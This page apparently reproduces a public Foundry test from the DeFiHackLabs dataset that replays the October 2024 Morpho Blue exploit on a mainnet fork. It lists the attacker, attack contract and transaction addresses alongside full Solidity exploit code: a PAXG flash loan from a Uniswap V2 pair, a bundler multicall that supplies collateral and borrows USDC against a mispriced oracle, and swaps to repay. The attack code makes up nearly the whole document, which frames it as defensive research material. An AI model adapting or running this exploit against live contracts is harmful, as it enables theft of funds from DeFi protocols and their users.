Skip to content
THREATWIRE

Public reproduction file

src/test/2024-10/MorphoBlue_exp.sol

Public reproduction file for dataset entry MorphoBlue.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-10/MorphoBlue_exp.sol413 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5
6// @KeyInfo - Total Lost : $230,000
7// Attacker : https://etherscan.io/address/0x02DBE46169fDf6555F2A125eEe3dce49703b13f5
8// Attack Contract : https://etherscan.io/address/0x4095F064B8d3c3548A3bebfd0Bbfd04750E30077
9// Vulnerable Contract : https://etherscan.io/address/0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb
10// Attack Tx : https://etherscan.io/tx/0x256979ae169abb7fbbbbc14188742f4b9debf48b48ad5b5207cadcc99ccb493b
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb#code
15// @Analysis
16// Post-mortem :
17// Twitter Guy : https://x.com/omeragoldberg/status/1845515843787960661
18// Hacking God :
19pragma solidity ^0.8.0;
21interface IMorphoBundler {
22 error UnsafeCast();
24 function MORPHO() external view returns (address);
26 function ST_ETH() external view returns (address);
28 function WRAPPED_NATIVE() external view returns (address);
30 function WST_ETH() external view returns (address);
32 function approve2(
33 IAllowanceTransfer.PermitSingle memory permitSingle,
34 bytes memory signature,
35 bool skipRevert
36 ) external payable;
38 function erc20Transfer(address asset, address recipient, uint256 amount) external payable;
40 function erc20TransferFrom(address asset, uint256 amount) external payable;
42 function erc20WrapperDepositFor(address wrapper, uint256 amount) external payable;
44 function erc20WrapperWithdrawTo(address wrapper, address account, uint256 amount) external payable;
46 function erc4626Deposit(address vault, uint256 assets, uint256 minShares, address receiver) external payable;
48 function erc4626Mint(address vault, uint256 shares, uint256 maxAssets, address receiver) external payable;
50 function erc4626Redeem(
51 address vault,
52 uint256 shares,
53 uint256 minAssets,
54 address receiver,
55 address owner
56 ) external payable;
58 function erc4626Withdraw(
59 address vault,
60 uint256 assets,
61 uint256 maxShares,
62 address receiver,
63 address owner
64 ) external payable;
66 function initiator() external view returns (address);
68 function morphoBorrow(
69 MarketParams memory marketParams,
70 uint256 assets,
71 uint256 shares,
72 uint256 slippageAmount,
73 address receiver
74 ) external payable;
76 function morphoFlashLoan(address token, uint256 assets, bytes memory data) external payable;
78 function morphoRepay(
79 MarketParams memory marketParams,
80 uint256 assets,
81 uint256 shares,
82 uint256 slippageAmount,
83 address onBehalf,
84 bytes memory data
85 ) external payable;
87 function morphoSetAuthorizationWithSig(
88 Authorization memory authorization,
89 Signature memory signature,
90 bool skipRevert
91 ) external payable;
93 function morphoSupply(
94 MarketParams memory marketParams,
95 uint256 assets,
96 uint256 shares,
97 uint256 slippageAmount,
98 address onBehalf,
99 bytes memory data
100 ) external payable;
102 function morphoSupplyCollateral(
103 MarketParams memory marketParams,
104 uint256 assets,
105 address onBehalf,
106 bytes memory data
107 ) external payable;
109 function morphoWithdraw(
110 MarketParams memory marketParams,
111 uint256 assets,
112 uint256 shares,
113 uint256 slippageAmount,
114 address receiver
115 ) external payable;
117 function morphoWithdrawCollateral(
118 MarketParams memory marketParams,
119 uint256 assets,
120 address receiver
121 ) external payable;
123 function multicall(
124 bytes[] memory data
125 ) external payable;
127 function nativeTransfer(address recipient, uint256 amount) external payable;
129 function onMorphoFlashLoan(uint256, bytes memory data) external;
131 function onMorphoRepay(uint256, bytes memory data) external;
133 function onMorphoSupply(uint256, bytes memory data) external;
135 function onMorphoSupplyCollateral(uint256, bytes memory data) external;
137 function permit(
138 address asset,
139 uint256 amount,
140 uint256 deadline,
141 uint8 v,
142 bytes32 r,
143 bytes32 s,
144 bool skipRevert
145 ) external payable;
147 function permitDai(
148 uint256 nonce,
149 uint256 expiry,
150 bool allowed,
151 uint8 v,
152 bytes32 r,
153 bytes32 s,
154 bool skipRevert
155 ) external payable;
157 function reallocateTo(
158 address publicAllocator,
159 address vault,
160 uint256 value,
161 Withdrawal[] memory withdrawals,
162 MarketParams memory supplyMarketParams
163 ) external payable;
165 function stakeEth(uint256 amount, uint256 minShares, address referral) external payable;
167 function transferFrom2(address asset, uint256 amount) external payable;
169 function unwrapNative(
170 uint256 amount
171 ) external payable;
173 function unwrapStEth(
174 uint256 amount
175 ) external payable;
177 function urdClaim(
178 address distributor,
179 address account,
180 address reward,
181 uint256 amount,
182 bytes32[] memory proof,
183 bool skipRevert
184 ) external payable;
186 function wrapNative(
187 uint256 amount
188 ) external payable;
190 function wrapStEth(
191 uint256 amount
192 ) external payable;
194 receive() external payable;
197interface IMorpho {
198 function setAuthorization(address authorized, bool newIsAuthorized) external;
201interface IAllowanceTransfer {
202 struct PermitDetails {
203 address token;
204 uint160 amount;
205 uint48 expiration;
206 uint48 nonce;
207 }
209 struct PermitSingle {
210 PermitDetails details;
211 address spender;
212 uint256 sigDeadline;
213 }
216struct MarketParams {
217 address loanToken;
218 address collateralToken;
219 address oracle;
220 address irm;
221 uint256 lltv;
224struct Authorization {
225 address authorizer;
226 address authorized;
227 bool isAuthorized;
228 uint256 nonce;
229 uint256 deadline;
232struct Signature {
233 uint8 v;
234 bytes32 r;
235 bytes32 s;
238struct Withdrawal {
239 MarketParams marketParams;
240 uint128 amount;
243interface IUniswapV2Pair {
244 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory calldatsa) external;
247// Uniswap V3 Pool Interface
248interface IUniswapV3Pool {
249 function swap(
250 address recipient,
251 bool zeroForOne,
252 int256 amountSpecified,
253 uint160 sqrtPriceLimitX96,
254 bytes calldata data
255 ) external returns (int256 amount0, int256 amount1);
257 function token0() external view returns (address);
258 function token1() external view returns (address);
261pragma solidity ^0.8.0;
263// Assuming necessary imports and interface definitions are provided
265contract MorphoBlue is BaseTestWithBalanceLog {
266 // Constants
267 uint256 public constant FORK_BLOCK_NUMBER = 20_956_051;
269 // Uniswap V3 constants
270 uint160 internal constant MIN_SQRT_RATIO = 4_295_128_739;
271 uint160 internal constant MAX_SQRT_RATIO = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_342;
273 // Token addresses
274 address public constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
275 address public constant PAXG = 0x45804880De22913dAFE09f4980848ECE6EcbAf78;
277 // Contract addresses
278 address public constant MORPHO_BUNDLER = 0x4095F064B8d3c3548A3bebfd0Bbfd04750E30077;
279 address public constant PAXG_WETH_V2_PAIR = 0x9C4Fe5FFD9A9fC5678cFBd93Aa2D4FD684b67C4C;
280 address public constant PAXG_USDC_V3_PAIR = 0xB431c70f800100D87554ac1142c4A94C5Fe4C0C4;
282 // Flash loan and swap amounts
283 uint256 public constant PAXG_FLASHLOAN_AMOUNT = 132_577_813_003_136_114;
284 uint256 public constant USDC_SWAP_AMOUNT = 420 * 1e6; // 420 USDC
286 // Fee calculation constants
287 uint256 public constant UNISWAP_V2_FEE_NUMERATOR = 3;
288 uint256 public constant UNISWAP_V2_FEE_DENOMINATOR = 997;
290 // Morpho market parameters
291 address public constant MORPHO_ORACLE = 0xDd1778F71a4a1C6A0eFebd8AE9f8848634CE1101;
292 address public constant MORPHO_IRM = 0x870aC11D48B15DB9a138Cf899d20F13F79Ba00BC;
293 uint256 public constant MORPHO_LTV = 915_000_000_000_000_000;
295 // Borrow parameters
296 uint256 public constant BORROW_ASSETS = 230_002_486_670;
297 uint256 public constant BORROW_SHARES = 0;
298 uint256 public constant BORROW_SLIPPAGE_AMOUNT = 226_898_039_801_385_921;
300 // Interfaces
301 IMorphoBundler public immutable bundler = IMorphoBundler(payable(MORPHO_BUNDLER));
303 function setUp() public {
304 // Fork the mainnet at the specified block number
305 vm.createSelectFork("mainnet", FORK_BLOCK_NUMBER);
306 // Set the funding token to USDC
307 fundingToken = USDC;
308 }
310 function testExploit() public balanceLog {
311 // Initiate a flash loan of PAXG from the Uniswap V2 pair
312 IUniswapV2Pair(PAXG_WETH_V2_PAIR).swap(PAXG_FLASHLOAN_AMOUNT, 0, address(this), new bytes(100));
313 //At the end we swap any PAXG if remaining to USDC
314 uint256 paxgBal = TokenHelper.getTokenBalance(PAXG, address(this));
315 if (paxgBal > 0) _v3Swap(PAXG, USDC, paxgBal, address(this));
316 }
318 function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
319 // Ensure the caller is the correct Uniswap V2 pair
320 require(msg.sender == PAXG_WETH_V2_PAIR, "Invalid caller");
322 // Approve PAXG transfer to Morpho Bundler
323 require(TokenHelper.approveToken(PAXG, MORPHO_BUNDLER, amount0), "Approval failed");
325 // Perform operations with Morpho protocol
326 performComplexOperation(
327 PAXG,
328 PAXG_FLASHLOAN_AMOUNT,
329 MarketParams({
330 loanToken: USDC,
331 collateralToken: PAXG,
332 oracle: MORPHO_ORACLE,
333 irm: MORPHO_IRM,
334 lltv: MORPHO_LTV
335 }),
336 address(this),
337 MORPHO_BUNDLER,
338 BORROW_ASSETS,
339 BORROW_SHARES,
340 BORROW_SLIPPAGE_AMOUNT,
341 address(this)
342 );
344 // Swap USDC for PAXG to repay the flash loan
345 _v3Swap(USDC, PAXG, USDC_SWAP_AMOUNT, address(this));
347 // Calculate and repay the flash loan fee
348 uint256 fee = ((amount0 * UNISWAP_V2_FEE_NUMERATOR) / UNISWAP_V2_FEE_DENOMINATOR) + 1;
349 uint256 repayAmount = amount0 + fee;
350 TokenHelper.transferToken(PAXG, PAXG_WETH_V2_PAIR, repayAmount);
351 }
353 function performComplexOperation(
354 address asset,
355 uint256 amount,
356 MarketParams memory marketParams,
357 address onBehalf,
358 address authorized,
359 uint256 borrowAssets,
360 uint256 borrowShares,
361 uint256 borrowSlippageAmount,
362 address borrowReceiver
363 ) public payable {
364 // Authorize Morpho Bundler
365 IMorpho(bundler.MORPHO()).setAuthorization(MORPHO_BUNDLER, true);
367 // Prepare multicall data
368 bytes[] memory calls = new bytes[](3);
369 calls[0] = abi.encodeWithSelector(IMorphoBundler.erc20TransferFrom.selector, asset, amount);
370 calls[1] =
371 abi.encodeWithSelector(IMorphoBundler.morphoSupplyCollateral.selector, marketParams, amount, onBehalf, "");
372 calls[2] = abi.encodeWithSelector(
373 IMorphoBundler.morphoBorrow.selector,
374 marketParams,
375 borrowAssets,
376 borrowShares,
377 borrowSlippageAmount,
378 borrowReceiver
379 );
381 // Execute the multicall
382 bundler.multicall{value: msg.value}(calls);
383 }
385 function _v3Swap(address tokenIn, address tokenOut, uint256 amount, address recipient) internal {
386 if (amount == 0) {
387 return;
388 }
390 bool zeroForOne = tokenIn < tokenOut;
391 uint160 sqrtPriceLimitX96 = zeroForOne ? MIN_SQRT_RATIO + 1 : MAX_SQRT_RATIO - 1;
393 // Execute the swap on Uniswap V3
394 IUniswapV3Pool(PAXG_USDC_V3_PAIR).swap(
395 recipient, zeroForOne, int256(amount), sqrtPriceLimitX96, zeroForOne ? bytes("1") : bytes("")
396 );
397 }
399 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
400 // Ensure the caller is the correct Uniswap V3 pool
401 require(msg.sender == PAXG_USDC_V3_PAIR, "Invalid caller");
403 bool zeroForOne = data.length > 0;
404 address tokenOut = zeroForOne
405 ? IUniswapV3Pool(PAXG_USDC_V3_PAIR).token0()
406 : IUniswapV3Pool(PAXG_USDC_V3_PAIR).token0() == USDC ? PAXG : USDC;
408 uint256 amountOut = uint256(zeroForOne ? amount0Delta : amount1Delta);
410 // Transfer the required amount to the pool
411 TokenHelper.transferToken(tokenOut, msg.sender, amountOut);
412 }

Analysis

Dataset entry

Public Foundry test for “MorphoBlue” (2024-10-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x02dbe46169fdf6555f2a125eee3dce49703b13f5

  • Attack Contract

    0x4095f064b8d3c3548a3bebfd0bbfd04750e30077

  • Vulnerable Contract

    0xbbbbbbbbbb9cc5e90e3b3af64bdaf62c37eeffcb

  • Attack Tx

    0x256979ae169abb7fbbbbc14188742f4b9debf48b48ad5b5207cadcc99ccb493b

File record

Name
MorphoBlue
Path
src/test/2024-10/MorphoBlue_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
2ff54e0bdf4bf5890a5cc950fdc0365cc14cd773
Language
Solidity
Size
414 lines
Date
2024-10-13
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-10/MorphoBlue_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2ff54e0bdf4bf5890a5cc950fdc0365cc14cd773, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.